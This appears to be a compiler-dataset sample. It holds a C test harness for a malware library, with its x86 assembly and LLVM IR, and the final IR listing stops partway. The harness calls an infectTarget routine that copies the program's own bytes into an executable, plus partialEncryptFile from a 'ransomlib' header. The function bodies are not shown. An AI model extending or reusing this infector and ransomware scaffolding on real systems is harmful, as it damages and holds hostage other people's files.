#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
char *b16decode(int /*<<< orphan*/);
int /*<<< orphan*/ b16encode(char *, int /*<<< orphan*/);
int b64decode(char **, char *);
int /*<<< orphan*/ free(char *);
scalar_t__ getExternalPaths(char **);
int getOwnBytes(char **, char *);
int infectTarget(char *, char *, int);
int partialEncryptFile(char *, char *, int, int);
int /*<<< orphan*/ printf(char *, ...);
int strcmp(char *, char *);
int /*<<< orphan*/ strlen(char *);
int symDecrypt(char *, char *, char *, int);
int symEncrypt(char *, char *, char *, int);
int main(int argc, char **argv) {
  argc = argc;
  char test_string[] = "We dont need no education\0";
  int status;
  char *gob;
  int gob_length;
  printf("Testing clonelib.h\n");
  gob_length = getOwnBytes(&gob, argv[0]);
  printf("getOwnBytes:\t%s(%d bytes)\n", gob_length > 256 ? "OK" : "Failed",
         gob_length);
  status = infectTarget("./playground/"
                        "hello.exe",
                        gob, gob_length);
  printf("infectTarget:\t%s\n", status ? "OK" : "Failed");
  free(gob);
  printf("\nTesting b64.h\n");
  int b64_decoded_msg_length;
  char *b64_decoded_msg;
  b64_decoded_msg_length = b64decode(&b64_decoded_msg, "T0s=");
  printf("b64decode:\t%s(%s)\n",
         (b64_decoded_msg_length == 2 && !strcmp(b64_decoded_msg, "OK"))
             ? "OK"
             : "Failed",
         b64_decoded_msg);
  status = strcmp(b16decode(b16encode(test_string, strlen(test_string))),
                  test_string);
  printf("b16en/decode:\t%s", status ? "Failed" : "OK");
  if (status)
    printf("(%s!=%s)", test_string,
           b16decode(b16encode(test_string, strlen(test_string))));
  printf("\n");
  free(b64_decoded_msg);
  printf("\nTesting crypt.h\n");
  char keyiv[] = "0123456789abcdef0123*56789abcdef";
  char encrypted_msg[16];
  char decrypted_msg[16];
  status = symEncrypt(encrypted_msg, keyiv, test_string, 16);
  printf("symEncrypt:\t%s\n", status ? "OK" : "Failed");
  status = symDecrypt(decrypted_msg, keyiv, encrypted_msg, 16);
  printf("symDecrypt:\t%s\n", status ? "OK" : "Failed", decrypted_msg);
  printf("\nTesting ransomlib.h\n");
  status = partialEncryptFile(keyiv,
                              "./playground/"
                              "dummy.txt",
                              16, 0);
  printf("partialEncryptFile:\t%s\n", status ? "OK" : "Failed");
  status = partialEncryptFile(keyiv,
                              "./playground/"
                              "dummy.txt",
                              16, 1);
  printf("partialEncryptFile-d:\t%s\n", status ? "OK" : "Failed");
  printf("\nTestings paths.h\n");
  char *harp = NULL;
  printf("getExternalPaths: %s\n", getExternalPaths(&harp) ? "OK" : "Failed");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0xd0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%eax
mov    %eax,-0x8(%rbp)
mov    0xdfa(%rip),%rax
mov    %rax,-0x30(%rbp)
mov    0xdf7(%rip),%rax
mov    %rax,-0x28(%rbp)
mov    0xdf4(%rip),%rax
mov    %rax,-0x20(%rbp)
mov    0xdf1(%rip),%ax
mov    %ax,-0x18(%rbp)
mov    0xde9(%rip),%al
mov    %al,-0x16(%rbp)
lea    0xde0(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
lea    -0x40(%rbp),%rdi
call   1040 <getOwnBytes@plt>
mov    %eax,-0x44(%rbp)
mov    -0x44(%rbp),%ecx
lea    0xdee(%rip),%rsi
lea    0xde4(%rip),%rax
cmp    $0x100,%ecx
cmovg  %rax,%rsi
mov    -0x44(%rbp),%edx
lea    0xdb5(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x40(%rbp),%rsi
mov    -0x44(%rbp),%edx
lea    0xdc5(%rip),%rdi
call   1100 <infectTarget@plt>
mov    %eax,-0x34(%rbp)
mov    -0x34(%rbp),%ecx
lea    0xdac(%rip),%rsi
lea    0xda2(%rip),%rax
cmp    $0x0,%ecx
cmovne %rax,%rsi
lea    0xdb5(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x40(%rbp),%rdi
call   1030 <free@plt>
lea    0xdb0(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    -0x50(%rbp),%rdi
lea    0xdae(%rip),%rsi
call   10e0 <b64decode@plt>
mov    %eax,-0x48(%rbp)
xor    %eax,%eax
cmpl   $0x2,-0x48(%rbp)
mov    %al,-0xa9(%rbp)
jne    1317 <main+0x137>
mov    -0x50(%rbp),%rdi
lea    0xd46(%rip),%rsi
call   10b0 <strcmp@plt>
cmp    $0x0,%eax
setne  %al
xor    $0xff,%al
mov    %al,-0xa9(%rbp)
mov    -0xa9(%rbp),%cl
lea    0xd29(%rip),%rsi
lea    0xd1f(%rip),%rax
test   $0x1,%cl
cmovne %rax,%rsi
mov    -0x50(%rbp),%rdx
lea    0xd55(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    -0x30(%rbp),%rax
mov    %rax,-0xb8(%rbp)
lea    -0x30(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0xb8(%rbp),%rdi
mov    %eax,%esi
call   10d0 <b16encode@plt>
mov    %eax,%edi
call   1050 <b16decode@plt>
mov    %rax,%rdi
lea    -0x30(%rbp),%rsi
call   10b0 <strcmp@plt>
mov    %eax,-0x34(%rbp)
mov    -0x34(%rbp),%ecx
lea    0xcc4(%rip),%rsi
lea    0xcc0(%rip),%rax
cmp    $0x0,%ecx
cmovne %rax,%rsi
lea    0xd0a(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
cmpl   $0x0,-0x34(%rbp)
je     13f8 <main+0x218>
lea    -0x30(%rbp),%rax
mov    %rax,-0xc0(%rbp)
lea    -0x30(%rbp),%rax
mov    %rax,-0xc8(%rbp)
lea    -0x30(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0xc8(%rbp),%rdi
mov    %eax,%esi
call   10d0 <b16encode@plt>
mov    %eax,%edi
call   1050 <b16decode@plt>
mov    -0xc0(%rbp),%rsi
mov    %rax,%rdx
lea    0xcc5(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xca4(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x50(%rbp),%rdi
call   1030 <free@plt>
lea    0xca9(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    -0x80(%rbp),%rdi
lea    0xd58(%rip),%rsi
mov    $0x21,%edx
call   10c0 <memcpy@plt>
lea    -0x90(%rbp),%rdi
lea    -0x80(%rbp),%rsi
lea    -0x30(%rbp),%rdx
mov    $0x10,%ecx
call   10f0 <symEncrypt@plt>
mov    %eax,-0x34(%rbp)
mov    -0x34(%rbp),%ecx
lea    0xbf5(%rip),%rsi
lea    0xbeb(%rip),%rax
cmp    $0x0,%ecx
cmovne %rax,%rsi
lea    0xc64(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    -0xa0(%rbp),%rdi
lea    -0x80(%rbp),%rsi
lea    -0x90(%rbp),%rdx
mov    $0x10,%ecx
call   1080 <symDecrypt@plt>
mov    %eax,-0x34(%rbp)
mov    -0x34(%rbp),%ecx
lea    0xbb0(%rip),%rsi
lea    0xba6(%rip),%rax
cmp    $0x0,%ecx
cmovne %rax,%rsi
lea    -0xa0(%rbp),%rdx
lea    0xc28(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xc2a(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    -0x80(%rbp),%rdi
lea    0xc2e(%rip),%rsi
mov    $0x10,%edx
xor    %ecx,%ecx
call   10a0 <partialEncryptFile@plt>
mov    %eax,-0x34(%rbp)
mov    -0x34(%rbp),%ecx
lea    0xb5b(%rip),%rsi
lea    0xb51(%rip),%rax
cmp    $0x0,%ecx
cmovne %rax,%rsi
lea    0xc17(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    -0x80(%rbp),%rdi
lea    0xbee(%rip),%rsi
mov    $0x10,%edx
mov    $0x1,%ecx
call   10a0 <partialEncryptFile@plt>
mov    %eax,-0x34(%rbp)
mov    -0x34(%rbp),%ecx
lea    0xb18(%rip),%rsi
lea    0xb0e(%rip),%rax
cmp    $0x0,%ecx
cmovne %rax,%rsi
lea    0xbec(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    0xbf8(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
movq   $0x0,-0xa8(%rbp)
lea    -0xa8(%rbp),%rdi
call   1090 <getExternalPaths@plt>
mov    %rax,%rcx
lea    0xacd(%rip),%rsi
lea    0xac3(%rip),%rax
cmp    $0x0,%rcx
cmovne %rax,%rsi
lea    0xbcd(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
xor    %eax,%eax
add    $0xd0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x90,%rsp
mov    %rsi,%rbx
movups 0xe02(%rip),%xmm0
movups %xmm0,0x2b(%rsp)
movaps 0xdeb(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
lea    0xef9(%rip),%rdi
call   1070 <puts@plt>
mov    (%rbx),%rsi
lea    0x10(%rsp),%rdi
call   1050 <getOwnBytes@plt>
mov    %eax,%ebp
cmp    $0x101,%eax
lea    0xdf5(%rip),%r14
lea    0xdf1(%rip),%rbx
mov    %rbx,%rsi
cmovge %r14,%rsi
lea    0xdc5(%rip),%rdi
mov    %eax,%edx
xor    %eax,%eax
call   1090 <printf@plt>
mov    0x10(%rsp),%rsi
lea    0xdd5(%rip),%rdi
mov    %ebp,%edx
call   1110 <infectTarget@plt>
test   %eax,%eax
mov    %r14,%rsi
cmove  %rbx,%rsi
lea    0xdd5(%rip),%rdi
xor    %eax,%eax
call   1090 <printf@plt>
mov    0x10(%rsp),%rdi
call   1030 <free@plt>
lea    0xe93(%rip),%rdi
call   1070 <puts@plt>
lea    0xdc3(%rip),%rsi
lea    0x8(%rsp),%rdi
call   10f0 <b64decode@plt>
mov    0x8(%rsp),%r15
mov    %rbx,%rsi
cmp    $0x2,%eax
jne    12d5 <main+0xe5>
mov    %r15,%rdi
mov    %r14,%rsi
call   10d0 <strcmp@plt>
test   %eax,%eax
lea    0xd68(%rip),%rsi
cmove  %r14,%rsi
lea    0xd92(%rip),%rdi
mov    %r15,%rdx
xor    %eax,%eax
call   1090 <printf@plt>
lea    0x20(%rsp),%rbp
mov    %rbp,%rdi
call   1080 <strlen@plt>
mov    %rbp,%rdi
mov    %eax,%esi
call   10e0 <b16encode@plt>
mov    %eax,%edi
call   1060 <b16decode@plt>
mov    %rax,%rdi
mov    %rbp,%rsi
call   10d0 <strcmp@plt>
mov    %eax,%ebp
test   %eax,%eax
cmove  %r14,%rbx
lea    0xd63(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1090 <printf@plt>
test   %ebp,%ebp
je     135e <main+0x16e>
lea    0x20(%rsp),%rbx
mov    %rbx,%rdi
call   1080 <strlen@plt>
mov    %rbx,%rdi
mov    %eax,%esi
call   10e0 <b16encode@plt>
mov    %eax,%edi
call   1060 <b16decode@plt>
lea    0xd41(%rip),%rdi
mov    %rbx,%rsi
mov    %rax,%rdx
xor    %eax,%eax
call   1090 <printf@plt>
mov    $0xa,%edi
call   1040 <putchar@plt>
mov    0x8(%rsp),%rdi
call   1030 <free@plt>
lea    0xdc3(%rip),%rdi
call   1070 <puts@plt>
movaps 0xe0b(%rip),%xmm0
movaps %xmm0,0x50(%rsp)
movaps 0xdef(%rip),%xmm0
movaps %xmm0,0x40(%rsp)
movb   $0x0,0x60(%rsp)
lea    0x80(%rsp),%rbp
lea    0x40(%rsp),%r15
lea    0x20(%rsp),%rdx
mov    %rbp,%rdi
mov    %r15,%rsi
mov    $0x10,%ecx
call   1100 <symEncrypt@plt>
test   %eax,%eax
lea    0xc73(%rip),%r12
mov    %r14,%rsi
cmove  %r12,%rsi
lea    0xcc7(%rip),%rdi
xor    %eax,%eax
call   1090 <printf@plt>
lea    0x70(%rsp),%rbx
mov    %rbx,%rdi
mov    %r15,%rsi
mov    %rbp,%rdx
mov    $0x10,%ecx
call   10a0 <symDecrypt@plt>
test   %eax,%eax
mov    %r14,%rsi
cmove  %r12,%rsi
lea    0xca8(%rip),%rdi
mov    %rbx,%rdx
xor    %eax,%eax
call   1090 <printf@plt>
lea    0xd39(%rip),%rdi
call   1070 <puts@plt>
lea    0xc9b(%rip),%rbx
mov    %r15,%rdi
mov    %rbx,%rsi
mov    $0x10,%edx
xor    %ecx,%ecx
call   10c0 <partialEncryptFile@plt>
test   %eax,%eax
mov    %r14,%rsi
cmove  %r12,%rsi
lea    0xc90(%rip),%rdi
xor    %eax,%eax
call   1090 <printf@plt>
mov    %r15,%rdi
mov    %rbx,%rsi
mov    $0x10,%edx
mov    $0x1,%ecx
call   10c0 <partialEncryptFile@plt>
test   %eax,%eax
mov    %r14,%rsi
cmove  %r12,%rsi
lea    0xc7c(%rip),%rdi
xor    %eax,%eax
call   1090 <printf@plt>
lea    0xce6(%rip),%rdi
call   1070 <puts@plt>
movq   $0x0,0x18(%rsp)
lea    0x18(%rsp),%rdi
call   10b0 <getExternalPaths@plt>
test   %rax,%rax
cmove  %r12,%r14
lea    0xc62(%rip),%rdi
mov    %r14,%rsi
xor    %eax,%eax
call   1090 <printf@plt>
xor    %eax,%eax
add    $0x90,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@__const.main.test_string = [27 x i8] c"We dont need no education\00\00"
@.str = [20 x i8] c"Testing clonelib.h\0A\00"
@.str.1 = [27 x i8] c"getOwnBytes:\09%s(%d bytes)\0A\00"
@.str.2 = [3 x i8] c"OK\00"
@.str.3 = [7 x i8] c"Failed\00"
@.str.4 = [23 x i8] c"./playground/hello.exe\00"
@.str.5 = [18 x i8] c"infectTarget:\09%s\0A\00"
@.str.6 = [16 x i8] c"\0ATesting b64.h\0A\00"
@.str.7 = [5 x i8] c"T0s=\00"
@.str.8 = [19 x i8] c"b64decode:\09%s(%s)\0A\00"
@.str.9 = [17 x i8] c"b16en/decode:\09%s\00"
@.str.10 = [9 x i8] c"(%s!=%s)\00"
@.str.11 = [2 x i8] c"\0A\00"
@.str.12 = [18 x i8] c"\0ATesting crypt.h\0A\00"
@__const.main.keyiv = [33 x i8] c"0123456789abcdef0123*56789abcdef\00"
@.str.13 = [16 x i8] c"symEncrypt:\09%s\0A\00"
@.str.14 = [16 x i8] c"symDecrypt:\09%s\0A\00"
@.str.15 = [22 x i8] c"\0ATesting ransomlib.h\0A\00"
@.str.16 = [23 x i8] c"./playground/dummy.txt\00"
@.str.17 = [24 x i8] c"partialEncryptFile:\09%s\0A\00"
@.str.18 = [26 x i8] c"partialEncryptFile-d:\09%s\0A\00"
@.str.19 = [19 x i8] c"\0ATestings paths.h\0A\00"
@.str.20 = [22 x i8] c"getExternalPaths: %s\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca [27 x i8]
%7 = alloca i32
%8 = alloca i8*
%9 = alloca i32
%10 = alloca i32
%11 = alloca i8*
%12 = alloca [33 x i8]
%13 = alloca [16 x i8]
%14 = alloca [16 x i8]
%15 = alloca i8*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%16 = load i32, i32* %4
store i32 %16, i32* %4
%17 = bitcast [27 x i8]* %6 to i8*
%18 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str, i64 0, i64 0))
%19 = load i8**, i8*** %5
%20 = getelementptr inbounds i8*, i8** %19, i64 0
%21 = load i8*, i8** %20
%22 = call i32 @getOwnBytes(i8** %8, i8* %21)
store i32 %22, i32* %9
%23 = load i32, i32* %9
%24 = icmp sgt i32 %23, 256
%25 = zext i1 %24 to i64
%26 = select i1 %24, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%27 = load i32, i32* %9
%28 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.1, i64 0, i64 0), i8* %26, i32 %27)
%29 = load i8*, i8** %8
%30 = load i32, i32* %9
%31 = call i32 @infectTarget(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.4, i64 0, i64 0), i8* %29, i32 %30)
store i32 %31, i32* %7
%32 = load i32, i32* %7
%33 = icmp ne i32 %32, 0
%34 = zext i1 %33 to i64
%35 = select i1 %33, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%36 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.5, i64 0, i64 0), i8* %35)
%37 = load i8*, i8** %8
%38 = call i32 @free(i8* %37)
%39 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.6, i64 0, i64 0))
%40 = call i32 @b64decode(i8** %11, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.7, i64 0, i64 0))
store i32 %40, i32* %10
%41 = load i32, i32* %10
%42 = icmp eq i32 %41, 2
br i1 %42, label %43, label %48
43: ; preds = %2
%44 = load i8*, i8** %11
%45 = call i32 @strcmp(i8* %44, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0))
%46 = icmp ne i32 %45, 0
%47 = xor i1 %46, true
br label %48
48: ; preds = %43, %2
%49 = phi i1 [ false, %2 ], [ %47, %43 ]
%50 = zext i1 %49 to i64
%51 = select i1 %49, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%52 = load i8*, i8** %11
%53 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.8, i64 0, i64 0), i8* %51, i8* %52)
%54 = getelementptr inbounds [27 x i8], [27 x i8]* %6, i64 0, i64 0
%55 = getelementptr inbounds [27 x i8], [27 x i8]* %6, i64 0, i64 0
%56 = call i32 @strlen(i8* %55)
%57 = call i32 @b16encode(i8* %54, i32 %56)
%58 = call i8* @b16decode(i32 %57)
%59 = getelementptr inbounds [27 x i8], [27 x i8]* %6, i64 0, i64 0
%60 = call i32 @strcmp(i8* %58, i8* %59)
store i32 %60, i32* %7
%61 = load i32, i32* %7
%62 = icmp ne i32 %61, 0
%63 = zext i1 %62 to i64
%64 = select i1 %62, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0)
%65 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.9, i64 0, i64 0), i8* %64)
%66 = load i32, i32* %7
%67 = icmp ne i32 %66, 0
br i1 %67, label %68, label %76
68: ; preds = %48
%69 = getelementptr inbounds [27 x i8], [27 x i8]* %6, i64 0, i64 0
%70 = getelementptr inbounds [27 x i8], [27 x i8]* %6, i64 0, i64 0
%71 = getelementptr inbounds [27 x i8], [27 x i8]* %6, i64 0, i64 0
%72 = call i32 @strlen(i8* %71)
%73 = call i32 @b16encode(i8* %70, i32 %72)
%74 = call i8* @b16decode(i32 %73)
%75 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.10, i64 0, i64 0), i8* %69, i8* %74)
br label %76
76: ; preds = %68, %48
%77 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.11, i64 0, i64 0))
%78 = load i8*, i8** %11
%79 = call i32 @free(i8* %78)
%80 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.12, i64 0, i64 0))
%81 = bitcast [33 x i8]* %12 to i8*
%82 = getelementptr inbounds [16 x i8], [16 x i8]* %13, i64 0, i64 0
%83 = getelementptr inbounds [33 x i8], [33 x i8]* %12, i64 0, i64 0
%84 = getelementptr inbounds [27 x i8], [27 x i8]* %6, i64 0, i64 0
%85 = call i32 @symEncrypt(i8* %82, i8* %83, i8* %84, i32 16)
store i32 %85, i32* %7
%86 = load i32, i32* %7
%87 = icmp ne i32 %86, 0
%88 = zext i1 %87 to i64
%89 = select i1 %87, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%90 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.13, i64 0, i64 0), i8* %89)
%91 = getelementptr inbounds [16 x i8], [16 x i8]* %14, i64 0, i64 0
%92 = getelementptr inbounds [33 x i8], [33 x i8]* %12, i64 0, i64 0
%93 = getelementptr inbounds [16 x i8], [16 x i8]* %13, i64 0, i64 0
%94 = call i32 @symDecrypt(i8* %91, i8* %92, i8* %93, i32 16)
store i32 %94, i32* %7
%95 = load i32, i32* %7
%96 = icmp ne i32 %95, 0
%97 = zext i1 %96 to i64
%98 = select i1 %96, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%99 = getelementptr inbounds [16 x i8], [16 x i8]* %14, i64 0, i64 0
%100 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.14, i64 0, i64 0), i8* %98, i8* %99)
%101 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.15, i64 0, i64 0))
%102 = getelementptr inbounds [33 x i8], [33 x i8]* %12, i64 0, i64 0
%103 = call i32 @partialEncryptFile(i8* %102, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.16, i64 0, i64 0), i32 16, i32 0)
store i32 %103, i32* %7
%104 = load i32, i32* %7
%105 = icmp ne i32 %104, 0
%106 = zext i1 %105 to i64
%107 = select i1 %105, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%108 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.17, i64 0, i64 0), i8* %107)
%109 = getelementptr inbounds [33 x i8], [33 x i8]* %12, i64 0, i64 0
%110 = call i32 @partialEncryptFile(i8* %109, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.16, i64 0, i64 0), i32 16, i32 1)
store i32 %110, i32* %7
%111 = load i32, i32* %7
%112 = icmp ne i32 %111, 0
%113 = zext i1 %112 to i64
%114 = select i1 %112, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%115 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.18, i64 0, i64 0), i8* %114)
%116 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.19, i64 0, i64 0))
store i8* null, i8** %15
%117 = call i64 @getExternalPaths(i8** %15)
%118 = icmp ne i64 %117, 0
%119 = zext i1 %118 to i64
%120 = select i1 %118, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%121 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.20, i64 0, i64 0), i8* %120)
ret i32 0
}

LLVM IR (-O2):
@__const.main.test_string = [27 x i8] c"We dont need no education\00\00"
@.str.1 = [27 x i8] c"getOwnBytes:\09%s(%d bytes)\0A\00"
@.str.2 = [3 x i8] c"OK\00"
@.str.3 = [7 x i8] c"Failed\00"
@.str.4 = [23 x i8] c"./playground/hello.exe\00"
@.str.5 = [18 x i8] c"infectTarget:\09%s\0A\00"
@.str.7 = [5 x i8] c"T0s=\00"
@.str.8 = [19 x i8] c"b64decode:\09%s(%s)\0A\00"
@.str.9 = [17 x i8] c"b16en/decode:\09%s\00"
@.str.10 = [9 x i8] c"(%s!=%s)\00"
@__const.main.keyiv = [33 x i8] c"0123456789abcdef0123*56789abcdef\00"
@.str.13 = [16 x i8] c"symEncrypt:\09%s\0A\00"
@.str.14 = [16 x i8] c"symDecrypt:\09%s\0A\00"
@.str.16 = [23 x i8] c"./playground/dummy.txt\00"
@.str.17 = [24 x i8] c"partialEncryptFile:\09%s\0A\00"
@.str.18 = [26 x i8] c"partialEncryptFile-d:\09%s\0A\00"
@.str.20 = [22 x i8] c"getExternalPaths: %s\0A\00"
@str = [19 x i8] c"Testing clonelib.h\00"
@str.21 = [15 x i8] c"\0ATesting b64.h\00"
@str.22 = [17 x i8] c"\0ATesting crypt.h\00"
@str.23 = [21 x i8] c"\0ATesting ransomlib.h\00"
@str.24 = [18 x i8] c"\0ATestings paths.h\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [27 x i8]
%4 = alloca i8*
%5 = alloca i8*
%6 = alloca [33 x i8]
%7 = alloca [16 x i8]
%8 = alloca [16 x i8]
%9 = alloca i8*
%10 = getelementptr inbounds [27 x i8], [27 x i8]* %3, i64 0, i64 0
%11 = bitcast i8** %4 to i8*
%12 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str, i64 0, i64 0))
%13 = load i8*, i8** %1
%14 = call i32 @getOwnBytes(i8** %4, i8* %13)
%15 = icmp sgt i32 %14, 256
%16 = select i1 %15, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%17 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @.str.1, i64 0, i64 0), i8* %16, i32 %14)
%18 = load i8*, i8** %4
%19 = call i32 @infectTarget(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.4, i64 0, i64 0), i8* %18, i32 %14)
%20 = icmp eq i32 %19, 0
%21 = select i1 %20, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0)
%22 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @.str.5, i64 0, i64 0), i8* %21)
%23 = load i8*, i8** %4
%24 = call i32 @free(i8* %23)
%25 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @str.21, i64 0, i64 0))
%26 = bitcast i8** %5 to i8*
%27 = call i32 @b64decode(i8** %5, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.7, i64 0, i64 0))
%28 = icmp eq i32 %27, 2
%29 = load i8*, i8** %5
br i1 %28, label %30, label %34
30: ; preds = %2
%31 = call i32 @strcmp(i8* dereferenceable(1) %29, i8* dereferenceable(3) getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0))
%32 = icmp eq i32 %31, 0
%33 = select i1 %32, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
br label %34
34: ; preds = %2, %30
%35 = phi i8* [ %33, %30 ], [ getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), %2 ]
%36 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @.str.8, i64 0, i64 0), i8* %35, i8* %29)
%37 = call i32 @strlen(i8* %10)
%38 = call i32 @b16encode(i8* %10, i32 %37)
%39 = call i8* @b16decode(i32 %38)
%40 = call i32 @strcmp(i8* dereferenceable(1) %39, i8* %10)
%41 = icmp eq i32 %40, 0
%42 = select i1 %41, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0)
%43 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @.str.9, i64 0, i64 0), i8* %42)
br i1 %41, label %49, label %44
44: ; preds = %34
%45 = call i32 @strlen(i8* %10)
%46 = call i32 @b16encode(i8* %10, i32 %45)
%47 = call i8* @b16decode(i32 %46)
%48 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([9 x i8], [9 x i8]* @.str.10, i64 0, i64 0), i8* %10, i8* %47)
br label %49
49: ; preds = %44, %34
%50 = call i32 @putchar(i32 10)
%51 = load i8*, i8** %5
%52 = call i32 @free(i8* %51)
%53 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @str.22, i64 0, i64 0))
%54 = getelementptr inbounds [33 x i8], [33 x i8]* %6, i64 0, i64 0
